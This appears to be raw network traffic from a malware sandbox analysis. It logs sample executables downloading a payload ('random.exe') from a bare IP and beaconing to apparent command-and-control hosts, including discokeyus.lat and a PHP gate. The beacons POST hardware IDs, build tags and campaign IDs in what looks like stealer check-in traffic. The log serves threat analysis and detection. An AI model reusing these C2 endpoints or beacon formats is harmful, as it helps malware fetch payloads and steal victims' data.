Dec 20, 2024 16:19:53.833693981 CET	1236	IN	Data Raw: 5e 79 44 6f 80 22 44 8d 57 ab 39 10 5e 99 42 6f 80 18 44 55 57 ab 39 10 5e 89 44 6f 80 0c 44 75 57 ab 39 0d 5e d9 42 fd 7e 29 44 25 57 47 39 fa 5d f1 42 c0 7e 40 44 7d 57 2e 3a cd 5d c1 42 62 84 4b 44 35 57 47 39 d3 5d c1 42 1a 83 61 44 3d 57 e1 Data Ascii: ^yDo"DW9^BoDUW9^DoDuW9^B~)D%WG9]B~@D}W.:]BbKD5WG9]BaD=W=]BnDEW9]BDEW<WCDmW9^D^D^&DWD^B^DfWD]B^2DlWD]B^*DWD]B^BD}WD]B^VDoWD]B^NDzWD]B^bDoWD]B^ZD@WD]B^rDNWD
Dec 20, 2024 16:19:53.952707052 CET	1236	IN	Data Raw: ca 63 00 d5 c3 59 25 cc cc 63 f0 a6 98 63 f6 cf be 4b 44 db c2 60 ee d4 98 4d 25 dd b2 4d f2 a4 bc 4f f5 d7 c3 49 fd 0d c9 4f 25 d9 96 64 03 cf c2 60 25 da cc 4f f9 0d c9 4d f2 9f be 4f ff a6 c2 60 f2 d6 c7 73 01 dc be 5e fb ca 96 66 44 db c2 60 Data Ascii: cY%ccKD`M%MOIO%d`%OMO`s^fD`M%`dQMO_NdO`]_IO`]_N\sbD`M%`s\]_ILs^NMMOO_D`M%f%
Dec 20, 2024 16:19:58.634501934 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 20, 2024 16:19:59.076647997 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 15:19:58 GMT Content-Type: application/octet-stream Content-Length: 2917888 Last-Modified: Fri, 20 Dec 2024 14:42:32 GMT Connection: keep-alive ETag: "67658258-2c8600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 c0 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 4f 00 00 04 00 00 df be 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@O,@M$a$$ $h@.rsrc$x@.idata $z@lalofjun$\|@ccythcdcO^,@.taggant0O"d,@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49858	185.215.113.206	80	7324	C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:20:06.119863987 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:20:07.461786032 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:20:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 16:20:07.465087891 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFHJJJDAFBKEBGDGHCG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 44 32 35 36 39 32 33 38 46 35 31 36 36 30 34 39 33 34 38 35 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 2d 2d 0d 0a Data Ascii: ------FBFHJJJDAFBKEBGDGHCGContent-Disposition: form-data; name="hwid"A4D2569238F51660493485------FBFHJJJDAFBKEBGDGHCGContent-Disposition: form-data; name="build"stok------FBFHJJJDAFBKEBGDGHCG--
Dec 20, 2024 16:20:07.911221981 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:20:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49727	172.67.197.170	443	6508	C:\Users\user\Desktop\Qmg24kMXxU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:19:22 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: discokeyus.lat
2024-12-20 15:19:22 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 15:19:24 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bur0ehv9t98su7kimk3e59397n; expires=Tue, 15 Apr 2025 09:06:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PzOIO7SxGJbr5y7A3MKZU%2BExEYGZOmty9%2BYJ%2Fg1mNdwpb4PJ2xwLwg6YgyI3uqT1oN6lE%2Fx2Hm3qbtRMPv1PGnwl0vNwAR6tABK64LG%2BnKkc9ge0JEGnhlTekeCDqKzbRw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f509c408a3f41c6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1723&min_rtt=1718&rtt_var=654&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2830&recv_bytes=905&delivery_rate=1660034&cwnd=204&unsent_bytes=0&cid=53560a0a345258cf&ts=2178&x=0"
2024-12-20 15:19:24 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 15:19:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49738	172.67.197.170	443	6508	C:\Users\user\Desktop\Qmg24kMXxU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:19:25 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: discokeyus.lat
2024-12-20 15:19:25 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-20 15:19:26 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0ds7ucqe5rmvn0ve3nh3rn3kfb; expires=Tue, 15 Apr 2025 09:06:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lbSIyKZeAiw1UtOrtu%2FROll1h0Q1XouB%2FYgDHJ2XcMGHhFH5RR5ZY5gIbfs1hlTeATvuUcr3hQZhZ9F4r%2FHCiQnFY9FG%2Bpg5p%2FK3SvwdAbpkrSFioUSOn05sbHTx5kGgVw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f509c53a990334e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1905&min_rtt=1894&rtt_var=732&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=945&delivery_rate=1472516&cwnd=173&unsent_bytes=0&cid=a84c2f0e09af9f45&ts=884&x=0"
2024-12-20 15:19:26 UTC	240	IN	Data Raw: 31 63 62 36 0d 0a 76 71 57 78 65 76 5a 78 6f 44 72 36 6f 79 66 6e 7a 4e 31 52 67 66 48 32 74 6a 79 4e 35 63 72 6b 7a 6d 59 6d 42 44 30 63 73 54 72 46 68 38 64 59 7a 45 57 4d 47 49 6e 47 42 64 32 34 72 79 54 6b 33 64 54 58 57 4b 2f 66 72 49 57 69 46 55 4d 6f 48 32 72 63 47 49 54 44 30 42 61 46 46 49 77 59 6e 39 73 46 33 5a 65 6d 63 2b 53 66 31 49 77 65 36 49 2b 6f 68 61 49 45 52 32 39 53 62 4e 31 5a 31 73 6e 57 45 70 4d 53 78 46 75 57 7a 6b 4b 43 71 62 77 37 37 35 69 62 33 6c 47 76 79 65 69 42 74 45 51 63 4a 6e 42 35 78 56 76 7a 78 4d 49 52 31 41 79 4d 51 64 6a 47 53 63 58 32 2f 7a 44 6b 6b 35 72 51 57 4f 61 4e 6f 6f 79 71 42 55 4a 75 54 58 58 58 55 74 62 48 31 52 4f 5a 47 39 42 57 6e 4d 6c 4a 68 4b 4f 38 63 36 Data Ascii: 1cb6vqWxevZxoDr6oyfnzN1RgfH2tjyN5crkzmYmBD0csTrFh8dYzEWMGInGBd24ryTk3dTXWK/frIWiFUMoH2rcGITD0BaFFIwYn9sF3Zemc+Sf1Iwe6I+ohaIER29SbN1Z1snWEpMSxFuWzkKCqbw775ib3lGvyeiBtEQcJnB5xVvzxMIR1AyMQdjGScX2/zDkk5rQWOaNooyqBUJuTXXXUtbH1ROZG9BWnMlJhKO8c6
2024-12-20 15:19:26 UTC	1369	IN	Data Raw: 33 54 6b 38 77 65 74 38 66 37 74 4b 38 56 56 58 4e 53 62 74 55 59 77 34 6e 4b 57 4a 4d 66 67 67 44 59 79 55 6d 4c 71 37 77 38 35 4a 4b 55 78 6c 48 76 68 4b 43 4f 71 41 35 4c 61 56 42 77 32 56 2f 55 7a 74 51 58 6b 78 76 45 56 35 75 42 43 38 57 70 70 33 4f 37 30 37 54 45 58 65 79 54 70 5a 66 73 47 77 70 2f 48 33 6e 66 47 49 53 48 31 52 61 56 48 73 4a 4b 6b 4d 70 4f 67 4c 79 30 4f 75 36 65 6c 4e 6c 55 34 49 53 6f 67 61 59 4f 53 32 78 62 63 39 35 65 33 4d 65 54 56 74 51 55 32 68 6a 41 67 57 61 41 76 72 67 2f 39 64 47 75 6c 45 47 68 6e 75 69 42 6f 45 51 63 4a 6c 64 37 30 46 76 58 79 4e 41 51 6e 77 48 43 53 70 37 4d 51 4a 65 6f 75 6a 33 70 6b 49 62 65 55 4f 6d 45 6f 59 32 6c 41 55 4e 69 48 7a 43 54 58 38 53 48 69 31 69 31 48 73 6c 55 6b 74 5a 46 78 62 48 78 4b Data Ascii: 3Tk8wet8f7tK8VVXNSbtUYw4nKWJMfggDYyUmLq7w85JKUxlHvhKCOqA5LaVBw2V/UztQXkxvEV5uBC8Wpp3O707TEXeyTpZfsGwp/H3nfGISH1RaVHsJKkMpOgLy0Ou6elNlU4ISogaYOS2xbc95e3MeTVtQU2hjAgWaAvrg/9dGulEGhnuiBoEQcJld70FvXyNAQnwHCSp7MQJeouj3pkIbeUOmEoY2lAUNiHzCTX8SHi1i1HslUktZFxbHxK
2024-12-20 15:19:26 UTC	1369	IN	Data Raw: 59 56 4f 6d 49 70 59 72 73 53 67 52 68 52 7a 36 4c 47 50 62 45 78 78 75 65 55 66 64 62 6c 73 39 43 6b 2b 36 67 66 66 72 54 6b 39 67 65 74 38 65 6c 68 36 51 43 56 6d 6c 53 66 64 31 57 30 38 4c 63 45 4a 51 54 7a 31 32 63 79 6b 36 47 6f 37 73 68 36 5a 4f 63 30 56 2f 6c 6a 65 6a 49 37 41 4e 63 4a 67 63 2b 34 6b 2f 58 68 65 59 62 6d 68 33 46 54 74 6a 65 43 35 7a 75 75 44 2b 6a 79 39 54 5a 56 75 71 43 70 34 65 6d 43 6b 46 73 55 33 62 64 57 38 37 49 31 78 69 59 47 38 68 56 6c 73 56 4e 6a 4b 57 30 4e 65 4f 53 6e 70 51 51 72 34 43 77 78 76 52 45 63 47 46 54 63 39 77 61 36 63 54 64 46 70 4d 46 67 6b 66 57 32 41 57 43 6f 76 39 72 6f 35 2b 64 31 46 58 6c 67 36 69 42 6f 51 46 48 59 56 78 7a 31 46 4c 53 77 4e 63 55 6e 52 37 45 57 4a 2f 46 51 4a 65 72 74 6a 2f 76 30 39 Data Ascii: YVOmIpYrsSgRhRz6LGPbExxueUfdbls9Ck+6gffrTk9get8elh6QCVmlSfd1W08LcEJQTz12cyk6Go7sh6ZOc0V/ljejI7ANcJgc+4k/XheYbmh3FTtjeC5zuuD+jy9TZVuqCp4emCkFsU3bdW87I1xiYG8hVlsVNjKW0NeOSnpQQr4CwxvREcGFTc9wa6cTdFpMFgkfW2AWCov9ro5+d1FXlg6iBoQFHYVxz1FLSwNcUnR7EWJ/FQJertj/v09
2024-12-20 15:19:26 UTC	1369	IN	Data Raw: 6d 4f 61 66 37 41 4e 49 4a 67 63 2b 32 6c 48 4f 79 64 30 52 6d 52 58 4b 58 35 62 4d 54 6f 4f 6c 75 44 54 6c 6e 70 7a 5a 57 2b 79 47 72 49 79 2b 42 30 39 73 55 6e 53 54 46 70 7a 41 79 31 6a 4d 55 2b 56 55 73 64 46 65 6c 37 6a 2f 4c 4b 32 4b 31 4e 4e 53 72 39 2f 6f 68 61 4d 4e 53 32 35 58 63 64 78 63 30 73 48 56 46 5a 45 63 79 45 71 51 7a 30 69 4f 6f 62 51 68 34 35 36 51 32 46 72 6e 6a 4b 4c 47 34 6b 52 44 66 68 38 6d 6b 32 33 52 79 4e 4d 62 67 6c 50 64 46 6f 47 42 51 6f 6e 75 35 33 50 76 6e 5a 54 62 55 75 4f 4d 6f 49 65 67 43 6b 4e 6a 56 6e 62 62 53 74 33 44 32 78 6d 61 48 4d 4e 63 6e 63 52 42 67 71 71 35 50 4b 50 64 31 4e 4e 47 72 39 2f 6f 71 59 73 78 42 6b 64 6c 50 73 77 57 78 59 66 55 46 4e 52 4c 67 6c 53 62 7a 55 32 4b 71 4c 59 2f 36 5a 71 66 32 46 58 Data Ascii: mOaf7ANIJgc+2lHOyd0RmRXKX5bMToOluDTlnpzZW+yGrIy+B09sUnSTFpzAy1jMU+VUsdFel7j/LK2K1NNSr9/ohaMNS25Xcdxc0sHVFZEcyEqQz0iOobQh456Q2FrnjKLG4kRDfh8mk23RyNMbglPdFoGBQonu53PvnZTbUuOMoIegCkNjVnbbSt3D2xmaHMNcncRBgqq5PKPd1NNGr9/oqYsxBkdlPswWxYfUFNRLglSbzU2KqLY/6Zqf2FX
2024-12-20 15:19:26 UTC	1369	IN	Data Raw: 71 6b 4c 52 57 64 5a 62 4e 52 52 7a 73 6e 65 46 35 77 62 79 31 6d 63 78 45 69 44 6f 72 55 79 35 4a 32 61 33 42 36 68 78 36 2b 65 37 46 77 45 52 30 39 6c 77 55 37 52 35 74 34 58 31 41 79 4d 51 64 6a 47 53 63 58 32 2f 7a 72 78 6c 35 6e 47 56 2b 69 4a 70 34 57 2b 42 55 6c 74 54 58 6e 63 58 4e 76 4c 31 52 65 53 45 73 64 53 6c 4d 5a 41 6a 71 47 7a 63 36 33 54 6b 38 77 65 74 38 65 47 6a 62 38 54 52 32 68 55 61 4d 67 59 77 34 6e 4b 57 4a 4d 66 67 67 44 59 77 6b 36 4f 71 72 38 2f 34 35 65 5a 31 45 7a 67 67 4b 2b 50 70 78 5a 4f 59 56 68 31 32 31 50 54 77 63 45 55 6d 67 48 48 53 6f 71 42 43 38 57 70 70 33 4f 37 30 36 4c 54 54 76 2b 45 36 72 65 36 42 31 4a 74 55 6e 4b 54 52 35 4c 65 6b 78 2b 59 55 35 6f 59 6e 73 35 4d 68 71 47 2b 4f 75 2b 65 6b 64 31 62 37 6f 47 73 Data Ascii: qkLRWdZbNRRzsneF5wby1mcxEiDorUy5J2a3B6hx6+e7FwER09lwU7R5t4X1AyMQdjGScX2/zrxl5nGV+iJp4W+BUltTXncXNvL1ReSEsdSlMZAjqGzc63Tk8wet8eGjb8TR2hUaMgYw4nKWJMfggDYwk6Oqr8/45eZ1EzggK+PpxZOYVh121PTwcEUmgHHSoqBC8Wpp3O706LTTv+E6re6B1JtUnKTR5Lekx+YU5oYns5MhqG+Ou+ekd1b7oGs
2024-12-20 15:19:26 UTC	1369	IN	Data Raw: 64 39 48 32 47 64 51 5a 7a 41 33 31 6a 4d 55 38 46 66 6d 38 42 50 6a 4b 4b 77 4e 4f 65 42 6e 74 4e 4d 37 6f 61 6a 69 36 41 45 53 57 74 56 66 39 70 56 30 4d 72 55 48 35 73 57 67 68 62 59 78 6c 33 46 39 76 38 53 37 70 69 59 6a 77 53 76 6d 4f 61 66 37 41 4e 49 4a 67 63 2b 30 31 4c 5a 7a 64 34 62 6d 78 44 51 57 5a 37 54 52 59 69 6b 72 54 6e 6f 6c 70 6e 5a 55 2b 79 42 72 6f 32 67 46 6b 31 6d 58 48 57 54 46 70 7a 41 79 31 6a 4d 55 2b 46 50 6a 73 74 43 69 62 69 30 4d 75 43 46 6d 63 51 65 6f 63 65 35 67 62 31 45 48 48 42 50 61 64 52 48 6b 74 36 54 48 35 68 54 6d 68 69 65 79 45 4f 43 71 4c 45 68 35 70 57 62 32 31 66 6d 67 36 43 46 72 41 42 41 59 56 70 39 33 31 50 62 78 4e 77 63 6e 52 33 4c 56 39 69 50 42 59 4b 32 2f 32 75 6a 73 6f 2f 58 55 75 4c 48 74 38 69 31 52 Data Ascii: d9H2GdQZzA31jMU8Ffm8BPjKKwNOeBntNM7oaji6AESWtVf9pV0MrUH5sWghbYxl3F9v8S7piYjwSvmOaf7ANIJgc+01LZzd4bmxDQWZ7TRYikrTnolpnZU+yBro2gFk1mXHWTFpzAy1jMU+FPjstCibi0MuCFmcQeoce5gb1EHHBPadRHkt6TH5hTmhieyEOCqLEh5pWb21fmg6CFrABAYVp931PbxNwcnR3LV9iPBYK2/2ujso/XUuLHt8i1R
2024-12-20 15:19:26 UTC	273	IN	Data Raw: 35 79 78 69 45 68 2f 4d 54 67 68 62 46 54 74 72 30 52 6f 75 67 75 43 57 6a 6a 4b 75 61 48 75 43 64 36 4e 36 56 48 51 52 68 55 7a 36 4c 47 4d 6e 41 30 78 2b 4f 42 63 56 55 69 63 70 49 69 59 79 77 4e 50 57 51 6d 39 64 50 35 73 75 6a 69 2b 78 4b 42 47 46 48 50 6f 73 59 38 38 44 46 47 37 73 51 30 31 48 59 6a 77 57 43 75 50 39 72 6f 36 33 55 78 6c 33 2f 68 4b 65 58 6b 6b 51 63 66 32 45 2b 32 45 37 62 31 39 41 4f 6e 78 37 4f 53 61 61 42 48 64 48 38 37 57 47 78 77 59 75 55 51 64 44 4a 36 49 66 73 58 48 31 2f 48 32 69 54 41 49 36 4a 6b 77 72 55 53 34 49 66 6d 39 4e 58 67 36 32 70 4d 4b 53 74 71 76 4e 49 35 59 43 34 67 62 73 4c 42 43 67 66 63 5a 4d 41 35 59 66 61 48 34 38 43 31 46 57 49 78 67 57 36 34 50 38 72 6f 38 76 55 34 56 33 68 69 61 2b 51 76 55 6c 6a 63 46 Data Ascii: 5yxiEh/MTghbFTtr0RouguCWjjKuaHuCd6N6VHQRhUz6LGMnA0x+OBcVUicpIiYywNPWQm9dP5suji+xKBGFHPosY88DFG7sQ01HYjwWCuP9ro63Uxl3/hKeXkkQcf2E+2E7b19AOnx7OSaaBHdH87WGxwYuUQdDJ6IfsXH1/H2iTAI6JkwrUS4Ifm9NXg62pMKStqvNI5YC4gbsLBCgfcZMA5YfaH48C1FWIxgW64P8ro8vU4V3hia+QvUljcF
2024-12-20 15:19:26 UTC	1369	IN	Data Raw: 32 63 36 36 0d 0a 75 50 42 59 47 2f 2f 32 75 7a 77 63 2b 42 44 62 6a 58 2b 70 6e 69 48 51 52 77 48 79 61 42 46 70 7a 56 6b 30 44 55 56 4d 46 4b 69 73 64 47 6b 36 33 34 44 64 32 30 6a 74 6c 59 2b 4a 61 57 75 4b 73 65 53 57 42 49 62 35 39 4e 33 38 6e 64 48 34 4a 54 6a 42 69 58 67 52 32 38 37 76 64 7a 33 4e 33 55 7a 42 36 33 78 35 32 46 6f 67 70 44 63 45 34 7a 39 45 4c 52 77 63 51 4a 31 46 32 43 58 74 69 5a 46 63 76 75 75 79 4b 6a 79 38 53 47 42 62 72 55 2f 39 62 2b 47 77 70 2f 48 32 69 54 41 49 36 4a 6b 77 72 55 53 34 49 66 6d 39 4e 58 67 36 32 70 4d 4b 53 74 71 76 70 5a 36 59 4b 76 6c 75 34 71 54 33 4a 59 50 70 30 59 30 34 65 4c 49 64 52 62 67 6d 66 57 67 56 33 46 39 76 38 47 34 4a 32 61 30 30 6a 2b 79 6f 61 42 71 67 46 44 64 68 31 51 32 45 7a 62 68 35 31 Data Ascii: 2c66uPBYG//2uzwc+BDbjX+pniHQRwHyaBFpzVk0DUVMFKisdGk634Dd20jtlY+JaWuKseSWBIb59N38ndH4JTjBiXgR287vdz3N3UzB63x52FogpDcE4z9ELRwcQJ1F2CXtiZFcvuuyKjy8SGBbrU/9b+Gwp/H2iTAI6JkwrUS4Ifm9NXg62pMKStqvpZ6YKvlu4qT3JYPp0Y04eLIdRbgmfWgV3F9v8G4J2a00j+yoaBqgFDdh1Q2Ezbh51
2024-12-20 15:19:26 UTC	1369	IN	Data Raw: 68 6a 66 77 6c 65 58 71 4c 77 6c 34 4e 53 71 36 6e 6e 68 67 4b 6d 51 76 42 4e 4c 4b 58 46 49 38 6d 62 69 30 74 41 57 6d 68 54 55 53 64 69 50 42 59 72 75 35 77 71 6a 32 39 54 72 45 4b 2b 66 36 4e 37 73 4d 55 64 6f 55 58 6e 46 53 5a 48 67 33 52 2b 56 42 64 4a 50 6c 34 35 72 73 34 2f 2f 66 61 4f 56 31 49 77 4d 6f 63 65 73 6c 2b 78 63 46 44 51 45 4b 34 41 50 6a 4a 58 4d 56 6f 31 54 31 42 6a 41 6b 77 76 46 76 50 39 72 6f 39 53 58 78 6b 7a 70 68 4c 36 46 36 7a 70 36 51 56 46 35 30 6b 37 4d 79 74 38 35 6c 77 4c 49 5a 71 62 55 52 6f 75 67 75 43 58 79 30 39 71 55 55 61 2f 66 6b 63 62 6b 52 48 73 6f 48 32 61 54 41 4a 7a 79 30 42 61 61 46 4e 52 4a 31 65 5a 4c 67 71 2b 70 49 2b 36 66 74 64 64 50 35 63 66 6d 78 71 70 45 48 44 51 52 50 74 64 4a 6e 4a 2b 44 53 73 39 47 Data Ascii: hjfwleXqLwl4NSq6nnhgKmQvBNLKXFI8mbi0tAWmhTUSdiPBYru5wqj29TrEK+f6N7sMUdoUXnFSZHg3R+VBdJPl45rs4//faOV1IwMocesl+xcFDQEK4APjJXMVo1T1BjAkwvFvP9ro9SXxkzphL6F6zp6QVF50k7Myt85lwLIZqbURouguCXy09qUUa/fkcbkRHsoH2aTAJzy0BaaFNRJ1eZLgq+pI+6ftddP5cfmxqpEHDQRPtdJnJ+DSs9G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49748	172.67.197.170	443	6508	C:\Users\user\Desktop\Qmg24kMXxU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:19:28 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AL7G1Q2DGD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12811 Host: discokeyus.lat
2024-12-20 15:19:28 UTC	12811	OUT	Data Raw: 2d 2d 41 4c 37 47 31 51 32 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 39 38 31 38 43 30 30 35 33 45 31 30 41 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 41 4c 37 47 31 51 32 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 4c 37 47 31 51 32 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 41 4c 37 47 31 51 32 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --AL7G1Q2DGDContent-Disposition: form-data; name="hwid"59818C0053E10A4AAC8923850305D13E--AL7G1Q2DGDContent-Disposition: form-data; name="pid"2--AL7G1Q2DGDContent-Disposition: form-data; name="lid"PsFKDg--pablo--AL7G1Q2DGDContent-
2024-12-20 15:19:29 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7od5b85slk29n6riehvl3v4j9r; expires=Tue, 15 Apr 2025 09:06:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dNR84XbNbIuI8m9CBxus60lnaVUhdpiuPqFYgggdcMr6KUArtzuK%2FGh7Cl4fZvSy0AicrSXMDPLrUFg%2F89nx1vcshcG%2BhT6KV8QM96jPewktLlA%2BkboUXTyBOLw6lEUwMA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f509c638c2843c7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2570&min_rtt=2570&rtt_var=1285&sent=11&recv=19&lost=0&retrans=1&sent_bytes=4206&recv_bytes=13741&delivery_rate=286893&cwnd=211&unsent_bytes=0&cid=1e7f6bf10e97389b&ts=1421&x=0"
